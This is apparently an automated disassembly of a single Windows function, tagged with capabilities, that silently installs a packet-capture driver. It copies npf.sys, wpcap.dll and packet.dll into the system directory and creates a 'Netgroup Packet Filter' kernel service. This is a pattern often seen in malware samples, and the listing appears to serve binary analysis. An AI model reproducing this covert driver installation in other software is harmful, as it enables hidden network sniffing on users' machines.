Function at 0x417f70
Capabilities:
Copy file
Create service
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda4
push esi
push edi
mov eax, 0x53c094
call fcn.00503e60
mov esi, 0x53618a
lea edi, [ebp - 0x158]
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
mov esi, 0x53628e
lea edi, [ebp - 0x25c]
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x31], 1
push 0x103
lea eax, [ebp - 0x158]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov dword [ebp - 0x40], str.SYSTEMCurrentControlSetServicesNPF
lea edx, [ebp - 0x3c]
push edx
push 0x20019
push 0
push dword [ebp - 0x40]
push reloc.OLEAUT32.DLL_SysReAllocString
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x417fff
push dword [ebp - 0x3c]
call sub.ADVAPI32.DLL_RegCloseKey
mov ecx, dword [ebp - 0x30]
mov dword fs:[0], ecx
mov eax, ecx
jmp 0x41827d
push 0x539ec9
lea edx, [ebp - 0x158]
push edx
push 0x539ec3
lea eax, [ebp - 0x25c]
push eax
call fcn.00506898
add esp, 0x10
mov word [ebp - 0x20], 8
lea edx, [ebp - 0x25c]
lea eax, [ebp - 4]
call fcn.0050efe0
inc dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004ebf64
xor edx, edx
mov dl, al
cmp edx, 1
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.0050f140
pop ecx
test cl, cl
je 0x418062
mov byte [ebp - 0x31], 0
push 0x539ed9
lea eax, [ebp - 0x158]
push eax
push 0x539ed3
lea edx, [ebp - 0x25c]
push edx
call fcn.00506898
add esp, 0x10
mov word [ebp - 0x20], 0x14
lea edx, [ebp - 0x25c]
lea eax, [ebp - 8]
call fcn.0050efe0
inc dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004ebf64
xor edx, edx
mov dl, al
cmp edx, 1
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.0050f140
pop ecx
test cl, cl
je 0x4180c5
mov byte [ebp - 0x31], 0
push 0x539ef2
lea eax, [ebp - 0x158]
push eax
push 0x539ee4
lea edx, [ebp - 0x25c]
push edx
call fcn.00506898
add esp, 0x10
mov word [ebp - 0x20], 0x20
lea edx, [ebp - 0x25c]
lea eax, [ebp - 0xc]
call fcn.0050efe0
inc dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004ebf64
xor edx, edx
mov dl, al
cmp edx, 1
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.0050f140
pop ecx
test cl, cl
je 0x418128
mov byte [ebp - 0x31], 0
cmp byte [ebp - 0x31], 0
jne 0x418273
push str.npf.sys
lea eax, [ebp - 0x158]
push eax
push str._sdrivers_s
lea edx, [ebp - 0x25c]
push edx
call fcn.00506898
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x25c]
push ecx
call sub.KERNEL32.DLL_SetFileAttributesA
push 1
lea eax, [ebp - 0x25c]
push eax
push str..dat_npf.sys
call sub.KERNEL32.DLL_CopyFileA
push str.wpcap.dll
lea edx, [ebp - 0x158]
push edx
push 0x539f1e
lea ecx, [ebp - 0x25c]
push ecx
call fcn.00506898
add esp, 0x10
push 0x80
lea eax, [ebp - 0x25c]
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 1
lea edx, [ebp - 0x25c]
push edx
push str..wpcap.dll
call sub.KERNEL32.DLL_CopyFileA
push str.packet.dll
lea ecx, [ebp - 0x158]
push ecx
push 0x539f3a
lea eax, [ebp - 0x25c]
push eax
call fcn.00506898
add esp, 0x10
push 0x80
lea edx, [ebp - 0x25c]
push edx
call sub.KERNEL32.DLL_SetFileAttributesA
push 1
lea ecx, [ebp - 0x25c]
push ecx
push str..packet.dll
call sub.KERNEL32.DLL_CopyFileA
xor eax, eax
mov dword [ebp - 0x44], eax
xor edx, edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x4c], 0x539f58
mov dword [ebp - 0x50], str.Netgroup_Packet_Filter
mov dword [ebp - 0x54], str.system32drivers_npf.sys
push 0xf003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x418273
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x54]
push 1
push 3
push 1
push 0xf01ff
push dword [ebp - 0x50]
push dword [ebp - 0x4c]
push dword [ebp - 0x44]
call sub.ADVAPI32.DLL_CreateServiceA
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x41826b
push dword [ebp - 0x48]
call sub.ADVAPI32.DLL_CloseServiceHandle
push dword [ebp - 0x44]
call sub.ADVAPI32.DLL_CloseServiceHandle
mov ecx, dword [ebp - 0x30]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret